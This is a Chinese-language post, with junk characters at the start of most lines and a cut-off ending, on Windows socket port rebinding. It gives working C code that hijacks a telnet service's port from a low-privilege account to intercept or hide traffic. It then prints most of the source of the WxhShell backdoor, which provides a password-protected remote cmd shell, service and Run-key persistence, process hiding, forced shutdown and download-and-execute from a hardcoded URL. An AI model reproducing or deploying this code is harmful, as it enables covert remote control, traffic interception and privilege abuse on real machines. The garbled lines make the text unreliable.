在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
~`
tuPk~l s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
w#.3na "Z@P&jl saddr.sin_family = AF_INET;
#T7v]@K67
3ahriZe saddr.sin_addr.s_addr = htonl(INADDR_ANY);
lod+]*MD m.<_WXH bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
B!RfPk1B<* %-n)L 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Xh"9Bcjf o#qdgZ 这意味着什么?意味着可以进行如下的攻击:
](r}`u%}y `D+zX 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Olzw)WjG E+L7[ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
DGvuo 8 2
}xePX9? 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
qk& F>6<9* u]*7",R
uU 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
+<bj}" N3G9o`k 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
ASXGM0t ^+(5[z 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
fK/: iYXD }l;r 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
RC_Pj) SAm%$vz%M #include
T<]{:\*n #include
lNe4e6 #include
wv\X #include
UQ0!tFx DWORD WINAPI ClientThread(LPVOID lpParam);
4=,J@N- int main()
5IU!BQU {
//@6w;P WORD wVersionRequested;
0+\725DJ DWORD ret;
}c,b]!: WSADATA wsaData;
TEV DES BOOL val;
'w:ugb9] SOCKADDR_IN saddr;
lelmX SOCKADDR_IN scaddr;
uaIAVBRcS int err;
0,hs%x>v SOCKET s;
=3(v4E':5 SOCKET sc;
.tRm1&Qi int caddsize;
xkSX KR HANDLE mt;
@gP*z6Z DWORD tid;
S1=P-Ao wVersionRequested = MAKEWORD( 2, 2 );
_T)y5/[ err = WSAStartup( wVersionRequested, &wsaData );
?_ H9>/:. if ( err != 0 ) {
,6+joKe- printf("error!WSAStartup failed!\n");
dgVGP_~ return -1;
DAw1S$dM }
Cd'D
~'= saddr.sin_family = AF_INET;
_ZRmD\_t kff N0(MR //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
#S7oW@ >LPb>t5%p saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
'aNkU saddr.sin_port = htons(23);
Pt"K+]Ym if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
+yL; ?+s>= {
zg jg #| printf("error!socket failed!\n");
n@pwOHQn<| return -1;
czRBuo+k+ }
SK}jhm"y val = TRUE;
hj];a,Br& //SO_REUSEADDR选项就是可以实现端口重绑定的
"kApGNB if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
=z}PR1X! {
Jt$YSp=!! printf("error!setsockopt failed!\n");
uyX
%&r return -1;
AE~zmtW }
)WvKRp r //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
CaYb}.:AX //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
*(x.egORd //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
^fF#Ej1 JpXv+V if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
M7BpOmK' {
P#TPI*qw ret=GetLastError();
QGNKQ`~ printf("error!bind failed!\n");
CVO_F=; return -1;
xa`xHh{0 }
,!>
~izB listen(s,2);
4Uny.C] while(1)
;Am3eJa*- {
7~2_'YX>: caddsize = sizeof(scaddr);
th{J;a //接受连接请求
S$b)X"h sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
+"84.PZ if(sc!=INVALID_SOCKET)
+ }"+ {
2*snMA mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
V_3oAu54s{ if(mt==NULL)
[FhYQI {
";.j[p:gi printf("Thread Creat Failed!\n");
Hec8pL break;
(H:c80/V }
}hy4EJ }
&l cfX\y CloseHandle(mt);
vapC5,W"2- }
:uYZ1O closesocket(s);
.5 E)dU WSACleanup();
i?^L",[ return 0;
2wpJ)t*PF }
7"|Qmyb DWORD WINAPI ClientThread(LPVOID lpParam)
]O;*Y{:Y {
Wl3S]4A SOCKET ss = (SOCKET)lpParam;
FKL4`GEm SOCKET sc;
/US% s unsigned char buf[4096];
EI=~*&t SOCKADDR_IN saddr;
";U~wZW_ long num;
`GE8?UO- DWORD val;
[w}- )&c DWORD ret;
sd4eG //如果是隐藏端口应用的话,可以在此处加一些判断
_HM?p(H@ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
A"r<$S6 saddr.sin_family = AF_INET;
j~_iv~[ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
+aOevkY] saddr.sin_port = htons(23);
9o,Eqx4J if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
R.i]6H! {
w*{{bISw| printf("error!socket failed!\n");
W$]qo|2P return -1;
[ as,AX }
lAnOO5@8 val = 100;
Ep-bx&w+ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
FW[|Zq;} {
~j{c9EDT| ret = GetLastError();
glC,E> return -1;
cQ1[x>OcU }
4!14:mq if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<5L99<E {
'LoWp} f9 ret = GetLastError();
dQ;8,JzIw& return -1;
>4@w|7lS }
g]j&F65D if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
a;5clonB {
`BZ|[
q3 printf("error!socket connect failed!\n");
0;x&\x7K closesocket(sc);
W7C1\'T closesocket(ss);
N!.o`4 "z return -1;
_#M4zO7 }
.S:(O+#Gm while(1)
RQ0^
1
R {
A*BN
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
b81^756 //如果是嗅探内容的话,可以再此处进行内容分析和记录
@@@}FV& //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
!{,2uQXe num = recv(ss,buf,4096,0);
7x.j:{2 if(num>0)
yVVyWte, send(sc,buf,num,0);
Dlz0*eHD else if(num==0)
nt"\FZ*;3 break;
Fr50hrtkU num = recv(sc,buf,4096,0);
7/M[T\c if(num>0)
/w?zO,! send(ss,buf,num,0);
KHP/Y{mH else if(num==0)
`Cd! break;
)
YB'W_ }
j#3IF *" closesocket(ss);
q-^{2.ftcx closesocket(sc);
fhn$~8[_A return 0 ;
6 _V1s1F }
}#tbK 2[ dB~A4pZa ;^JMX4[ ==========================================================
{|$kI`h,3- cRs\()W 下边附上一个代码,,WXhSHELL
3 }sy{Mx%9 fP
3eR>e ==========================================================
LRw-I.z B4HMs$> #include "stdafx.h"
,f%4xXI x?rd9c #include <stdio.h>
/\qzTo #include <string.h>
.Erv\lv* #include <windows.h>
l?b*T#uIk #include <winsock2.h>
'_Q';T_n99 #include <winsvc.h>
IJ5'n #include <urlmon.h>
8 # BR\ D?dS/agA #pragma comment (lib, "Ws2_32.lib")
Mk9J~'C_ #pragma comment (lib, "urlmon.lib")
mb`h )Pubur %, #define MAX_USER 100 // 最大客户端连接数
TPx`qyW #define BUF_SOCK 200 // sock buffer
Vo[.^0 #define KEY_BUFF 255 // 输入 buffer
cSv;HN: B*)mHSs2 #define REBOOT 0 // 重启
H/*slqL #define SHUTDOWN 1 // 关机
Hi2JG{i ^r<l#D, #define DEF_PORT 5000 // 监听端口
&hZ.K"@7{ mz x$(u #define REG_LEN 16 // 注册表键长度
[xb'73 #define SVC_LEN 80 // NT服务名长度
t%,:L.?J# OW6dK#CFt // 从dll定义API
~233{vh$=> typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Bx)!I]gi_ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
uMm`j?Y23q typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
(I6Q"&h] typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
%p7onwKq0 |F\fdB}?S: // wxhshell配置信息
U:@tdH+A7 struct WSCFG {
N2|NYDQs int ws_port; // 监听端口
)b%zYD9p char ws_passstr[REG_LEN]; // 口令
QxbG-B^)= int ws_autoins; // 安装标记, 1=yes 0=no
x8c>2w;6x^ char ws_regname[REG_LEN]; // 注册表键名
PYNY1|3 char ws_svcname[REG_LEN]; // 服务名
EqBTN07dZS char ws_svcdisp[SVC_LEN]; // 服务显示名
YnU*MC} char ws_svcdesc[SVC_LEN]; // 服务描述信息
<3ep5` 1 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Id8MXdV int ws_downexe; // 下载执行标记, 1=yes 0=no
w87$p821 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
H}&JrT95 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
"Q\b6
7Ch wmX(%5vY^ };
rmC7!^/ }4piZ
ch // default Wxhshell configuration
DTsD<o struct WSCFG wscfg={DEF_PORT,
a6A~,68/V "xuhuanlingzhe",
3&"uf9d 1,
M@G\b^ " "Wxhshell",
7/KK}\NE "Wxhshell",
hAds15 %C "WxhShell Service",
Pd;8<UMk "Wrsky Windows CmdShell Service",
x1Z'_Qw "Please Input Your Password: ",
pI.8Ip_r 1,
u^i3 @JuX "
http://www.wrsky.com/wxhshell.exe",
.qf~t/o "Wxhshell.exe"
:)4c_51 ` };
Z:<wB#G n``9H91 // 消息定义模块
Z<=L char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
ugj I$u char *msg_ws_prompt="\n\r? for help\n\r#>";
2[1t
)EW char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
F.@|-wq& char *msg_ws_ext="\n\rExit.";
p1.3)=T char *msg_ws_end="\n\rQuit.";
X$~T*l0 char *msg_ws_boot="\n\rReboot...";
+~:OUR*> char *msg_ws_poff="\n\rShutdown...";
CRiqY_gBf char *msg_ws_down="\n\rSave to ";
2dB]Lw@s K:VZ#U(_ char *msg_ws_err="\n\rErr!";
h3GUFiZ. char *msg_ws_ok="\n\rOK!";
r}(m jC"o e%)MIAS0 char ExeFile[MAX_PATH];
6#qt%t%?D int nUser = 0;
1A*
"v HANDLE handles[MAX_USER];
P;K3T![ int OsIsNt;
={]POL\ A ~e)"!r SERVICE_STATUS serviceStatus;
Y]`o-dV SERVICE_STATUS_HANDLE hServiceStatusHandle;
tnBCO%uG Lr
d- // 函数声明
II=!E int Install(void);
=w:)AWZ int Uninstall(void);
OTAe#]# int DownloadFile(char *sURL, SOCKET wsh);
O:~J_Wwl! int Boot(int flag);
OZz!8-|wE void HideProc(void);
r=7!S8' int GetOsVer(void);
`}L{gssv int Wxhshell(SOCKET wsl);
)J+A2> void TalkWithClient(void *cs);
^wwS`vPb int CmdShell(SOCKET sock);
@J qo'\~& int StartFromService(void);
M} ri>o int StartWxhshell(LPSTR lpCmdLine);
d.Ccc/1- mC-wPi8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
@CxgoX^ VOID WINAPI NTServiceHandler( DWORD fdwControl );
s +qodb+ Xx2t0AIB // 数据结构和表定义
!) `*e>]x SERVICE_TABLE_ENTRY DispatchTable[] =
D6fd(=t1Z {
'qG-)2
t {wscfg.ws_svcname, NTServiceMain},
ox\D04:M {NULL, NULL}
o=Mm=;H };
\P"Ol\@ *XYp~b // 自我安装
Z( "-7_ int Install(void)
.LnknjC {
5:5d=7WX char svExeFile[MAX_PATH];
=}I=s@ HKEY key;
Aeo=m}C; strcpy(svExeFile,ExeFile);
MR5[|kHJT '{.8tT?tJ // 如果是win9x系统,修改注册表设为自启动
M^hz<<:$ if(!OsIsNt) {
^^n (s_g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
m],.w M8 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Bu?Qyz2O RegCloseKey(key);
E'6/@xM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
{.;qz4d` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
hM>.xr RegCloseKey(key);
N_Zd.VnY return 0;
%~>-nqS }
E`C!q
X> }
w-NTw2x,& }
Tdz#,]Q else {
5DkEJk7a "3a}~J<g // 如果是NT以上系统,安装为系统服务
V,8Z!.MG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
:>_oOn[ _ if (schSCManager!=0)
*DZ7,$LQ~D {
[7LdTY"Tl SC_HANDLE schService = CreateService
D,lY_6= (
&h!O<'*2 schSCManager,
4}UJBb? wscfg.ws_svcname,
F0r2=f(? wscfg.ws_svcdisp,
Zw'050~- SERVICE_ALL_ACCESS,
agkKm?xIL SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
"Y4glomR[ SERVICE_AUTO_START,
Z#^|h0 SERVICE_ERROR_NORMAL,
[gZR}E svExeFile,
gh
:5 NULL,
c^puz2 NULL,
&"27U NULL,
_V0%JE' NULL,
Ho[]03 NULL
:V@)A/}uk );
hsYE&Np_Q if (schService!=0)
.=d40m {
Je2&7uR0 CloseServiceHandle(schService);
!#*#ji xo CloseServiceHandle(schSCManager);
0_Elxc strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
/iAhGY strcat(svExeFile,wscfg.ws_svcname);
Tow! 5VAM if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
gSj0+| RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
T(]*jaB RegCloseKey(key);
0*oavY* return 0;
l%?4L/J)# }
ylS6D }
Z5*(xony0 CloseServiceHandle(schSCManager);
Aho*E9VW }
\DBEs02 }
T/ eX7p1 W2zG"Q return 1;
$;~YgOVZ5 }
P|p
X
F~ )`ixT) // 自我卸载
C@zG(?X int Uninstall(void)
N^PkSf[)h5 {
:O,r3O6 HKEY key;
CF\wR;6k ue@W@pj if(!OsIsNt) {
jt9- v- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
U}k@%m, RegDeleteValue(key,wscfg.ws_regname);
oR,zr RegCloseKey(key);
_iEnS4$A8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
"O|.e`C%^ RegDeleteValue(key,wscfg.ws_regname);
| WTWj RegCloseKey(key);
:=5X)10 return 0;
_'X }
!y>up+cRjl }
4i}nk
T }
B*Om\I else {
vW!O("\7K< UugR SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
K=}Eupn= if (schSCManager!=0)
qbCU&G|) {
f1elzANy SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
PlK3; if (schService!=0)
7zA+UWr {
=PNkzFUo if(DeleteService(schService)!=0) {
l?V#; CloseServiceHandle(schService);
A"s?;hv\fS CloseServiceHandle(schSCManager);
j {2 0 return 0;
B.;@i;7L }
3^-R_ CloseServiceHandle(schService);
@uN+]e+3 }
>H5t,FfQL CloseServiceHandle(schSCManager);
ocMTTVo }
kzNRRs\e }
KK4e'[Wf (!J;g|58 return 1;
7 b( }
YjJ^SU`* Q-#<{' ( // 从指定url下载文件
#h
U4gX, int DownloadFile(char *sURL, SOCKET wsh)
\.p;
4V& {
LHu HRESULT hr;
+Wy `X5v char seps[]= "/";
|:4?K*w", char *token;
],~[ ^0 char *file;
8faT@J'e; char myURL[MAX_PATH];
$<C",& char myFILE[MAX_PATH];
iQT0%WaHl }~ N\A strcpy(myURL,sURL);
Li0+%ijM token=strtok(myURL,seps);
i gjn9p&_ while(token!=NULL)
5K682+^5 {
v&7<f$5 file=token;
BA@M>j6d token=strtok(NULL,seps);
*:"60fkoU }
e8oAGh" f&$;iE GetCurrentDirectory(MAX_PATH,myFILE);
f#m@eb strcat(myFILE, "\\");
>, 'guaa strcat(myFILE, file);
Y6hV
;[\F send(wsh,myFILE,strlen(myFILE),0);
PApr8Xe send(wsh,"...",3,0);
D^P0X:T] hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
XqhrQU|wM if(hr==S_OK)
P>)J:.tr0 return 0;
r!eW]M else
8t, &dq return 1;
Iw)m9h T5e#Ll/ }
R^sgafGl= Z(tO]tQE // 系统电源模块
ZNk[Jn
[. int Boot(int flag)
,/TmTX--d {
NZADHO@0 HANDLE hToken;
.f. tPm TOKEN_PRIVILEGES tkp;
nN@
Ch E_[a|N"D if(OsIsNt) {
z8%qCq OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
gzH;`, LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
* a1q M? tkp.PrivilegeCount = 1;
`k8j FB C
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
BD}%RTeWKq AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
NV?XZ[<*< if(flag==REBOOT) {
-)Vy)hD, if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
ZqpK}I return 0;
f}4A,%:1 }
=2DK?]K; else {
'+j;g if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
llh
+r? return 0;
u2$.EM/iae }
uTPAf^| }
:pz@'J else {
nnE'zk<" if(flag==REBOOT) {
V=5*)i/ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
CyHHV return 0;
I8B0@ZtV }
G|-RscPe else {
_h,_HW)G if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
3fXrwmBT8 return 0;
1q5S"=+W[ }
Q8QB{*4 }
vdB2T2F i^Jw`eAmT return 1;
|r?0!;bN0 }
PO0Od z m$(OQ,E // win9x进程隐藏模块
Mw-L?j0o[k void HideProc(void)
.]zZw B {
rUyGTe(@h 0+SZ-] HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
h"Wpb}FT if ( hKernel != NULL )
*<SXzJ( {
yM9>)SE5` pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
~UQ<8`@a ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
5!$sQ@#}D FreeLibrary(hKernel);
+opym!\ }
hJSWh5] -b8SaLak return;
VYh/URU> }
$3&XM d7QUg6= // 获取操作系统版本
@(E6P;+{ int GetOsVer(void)
&2 *
{
@"/H
er OSVERSIONINFO winfo;
'73}{" ' winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
t]]Ig GetVersionEx(&winfo);
0:4>rYBC if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
_K'Y`w'] return 1;
\+Y=}P> else
0c!^=( return 0;
KD+&5=Y }
Bj><0
cNF 0raFb,6l // 客户端句柄模块
V6((5o# int Wxhshell(SOCKET wsl)
I!u=.[5zdC {
&0|Z FXPd SOCKET wsh;
1uG)U)y/Q struct sockaddr_in client;
IuAu_`,Ndi DWORD myID;
\pTC[Ry1 PU1YR;[Fe while(nUser<MAX_USER)
F6Q%<p a {
8'TIDu int nSize=sizeof(client);
8f)pf$v` wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
fi ~@J` if(wsh==INVALID_SOCKET) return 1;
)t7MD( GVn'p
Wg handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
7
<]YK`a2d if(handles[nUser]==0)
n6Uf>5 closesocket(wsh);
h&d"| < else
gp $Rf9\ nUser++;
xt"-Jmox }
u(f;4` WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
+|pYu<OY gae=+@z return 0;
~OxFgKn23& }
ZPq.|6& gV\Y>y4v // 关闭 socket
ZfVY:U:o> void CloseIt(SOCKET wsh)
6|3 X*Orn {
ohJDu{V closesocket(wsh);
M}CxCEdDB] nUser--;
!Yn#3c ExitThread(0);
dhJ=+Fz"w }
D/4]r@M2c I!1+#0SG // 客户端请求句柄
iTO Y void TalkWithClient(void *cs)
$XMpC{ {
l=Pw
yJ ,2^A<IwR SOCKET wsh=(SOCKET)cs;
JTBt=u{6^ char pwd[SVC_LEN];
<}8G1<QZ'. char cmd[KEY_BUFF];
S0:Oep char chr[1];
k&f/f int i,j;
]F>#0Rdc CAom4Sp' while (nUser < MAX_USER) {
{TJBB/B1 E?KPez if(wscfg.ws_passstr) {
VSV]6$~H if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
L{)t(H>O //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
1x\k:2U //ZeroMemory(pwd,KEY_BUFF);
hDZyFRg i=0;
v.>K
)%`# while(i<SVC_LEN) {
l;R8"L:,p\ U,6sR // 设置超时
\*b
.f fd_set FdRead;
YN<vOv struct timeval TimeOut;
!dh:jPpKq FD_ZERO(&FdRead);
Ct~j/. FD_SET(wsh,&FdRead);
41+WIa
L TimeOut.tv_sec=8;
_j0xL{&& TimeOut.tv_usec=0;
1ZYo-a;) int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
T:2f*!r if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
3k(tv U+eC ?K2}<H- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
cTRtMk%^ pwd
=chr[0]; QUvSeNSp
if(chr[0]==0xd || chr[0]==0xa) { %N(>B_t\
pwd=0; c$BH`" <*
break; HJym|G>%?
} BtKor6ba
i++; Hy,""Py
} h7TkMt[l
Zz/p'3?#
// 如果是非法用户,关闭 socket *fv BB9raq
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Fo;:GX,b
} ,RY;dX-#
c|aX4 =Z
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W(4$.uZ)
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Zby3.=.e
CQa8I2VF
(
while(1) { j;z7T;!i
OW@)6
ZeroMemory(cmd,KEY_BUFF); FeO1%#2<y
(#O"
// 自动支持客户端 telnet标准 Vky]In=
j=0; -Eq[J k
while(j<KEY_BUFF) { `#8k Jt
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qy[S~D_
cmd[j]=chr[0]; =&9c5"V&
if(chr[0]==0xa || chr[0]==0xd) { |pG0 .p4
cmd[j]=0; BOcD?rrZ0
break; -KfK~P3PF
} R4JfH
j++; ElDeXLr'
} j&Xx{ 4v
h*!oHS~/l
// 下载文件 >G%oWRk
if(strstr(cmd,"http://")) { =mPe
wx'
send(wsh,msg_ws_down,strlen(msg_ws_down),0); )X|)X,~+-
if(DownloadFile(cmd,wsh)) `zw %
send(wsh,msg_ws_err,strlen(msg_ws_err),0); CnZEBAU
else 5$Kj#9g-#
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ']I!1>v$[
} o~\.jQQxa
else { _-543B}
y06**f)
switch(cmd[0]) { Tbv w?3
~tRGw^<9
// 帮助 Is<XMR|{
case '?': { j%w^8}U>G
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hAc|a9 o
break; *V\.6,^v
} EU|IzUjFj|
// 安装 (S+/e5c)
case 'i': { JR15y3F
if(Install()) EQd<!)HZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1ywdcg
else 19y,O0# _
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xf,A<j(o
break; Cc%{e9e*
} @H4]Gp ]
// 卸载 fsw[R0B
case 'r': { b6Z3(!]
]
if(Uninstall()) |#<z\u }
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ` V [4
else C,$o+q*)W9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w%iwxo
break; 2@
9? ~?r
} G/(,,T}eG
// 显示 wxhshell 所在路径 %D:VcY9OC
case 'p': { S$$SLy:P
char svExeFile[MAX_PATH]; Cojs;`3iF:
strcpy(svExeFile,"\n\r"); t^zE^:06
strcat(svExeFile,ExeFile); :3
Hz!iZM
send(wsh,svExeFile,strlen(svExeFile),0); 2PRiiL@
break; >JsVIfAF
} GK1nGdT]
// 重启 'v
CMf
case 'b': { & /T}
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m;>G]Sbe
if(Boot(REBOOT)) "!AtS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =SeQ- H#
else { !o?&{"#+
closesocket(wsh); jIrfJ*z
ExitThread(0); $':5uU1}
} UQ;2g\([
break; ty"L&$bf
} Z4As'al
// 关机 %cUC~, g_(
case 'd': { jnztCNaX
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]cS(2hP7
if(Boot(SHUTDOWN)) a)=|{QR>W
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (?^ F }]
else { ^p9V5o
closesocket(wsh); )[ZXPD
ExitThread(0); T$R#d&t
} `L7^f!
break; *n&Sd~Mg
} PI`Y%! P
// 获取shell |gu@b~8
case 's': { _b-g^#L%
CmdShell(wsh); 4^:dmeMZ`
closesocket(wsh); -.MJ3
ExitThread(0); oi,KA
break; 1hi,&h
} E# 8|h(
// 退出 k\T]*A
case 'x': { KA{QGaZ/
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .JB1#&B+
CloseIt(wsh); F*Hovxez
break; Vjt7X"_/
} tx9%.)M:n
// 离开 tKLeq(
case 'q': { MnF|'t
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2}/r>]9^-
closesocket(wsh); - ry
WSACleanup(); Yu_
eCq5/
exit(1); uE (5q!/
break;
+@f
} _xi&%F/
} j#P4&
} OAW_c.)5D
B]<N7NYn1
// 提示信息 =FIZh}JD
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HDzeotD
} @}!?}QU
} {v=[~H>bt
dnwzf=+>e
return; I{U|'a
} ts@$*
8,RqhT)2#
// shell模块句柄 Ax~
i`
int CmdShell(SOCKET sock) 0]'
2i
{ 8$47Y2r@
STARTUPINFO si; 4]0:zS*O
ZeroMemory(&si,sizeof(si)); SC2LY
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; StTxga|
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DO*6gzW
PROCESS_INFORMATION ProcessInfo; ^/%Y]d$
char cmdline[]="cmd"; W|rAn2H
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *dBmb
return 0; P{`fav
} l$c/!V[3
iWr
#H
// 自身启动模式 /c-k{5mH%
int StartFromService(void) L?0IUGY
{ \eQPvkx2
typedef struct Ph.RWy")
{ S[/udA
DWORD ExitStatus; G"u4]!$/
DWORD PebBaseAddress; US9aW)8
DWORD AffinityMask; t!J>853
DWORD BasePriority; I/A%3i=H
ULONG UniqueProcessId; g5Io=e@s
ULONG InheritedFromUniqueProcessId; !- QB>`7$
} PROCESS_BASIC_INFORMATION; U*sQ5uq
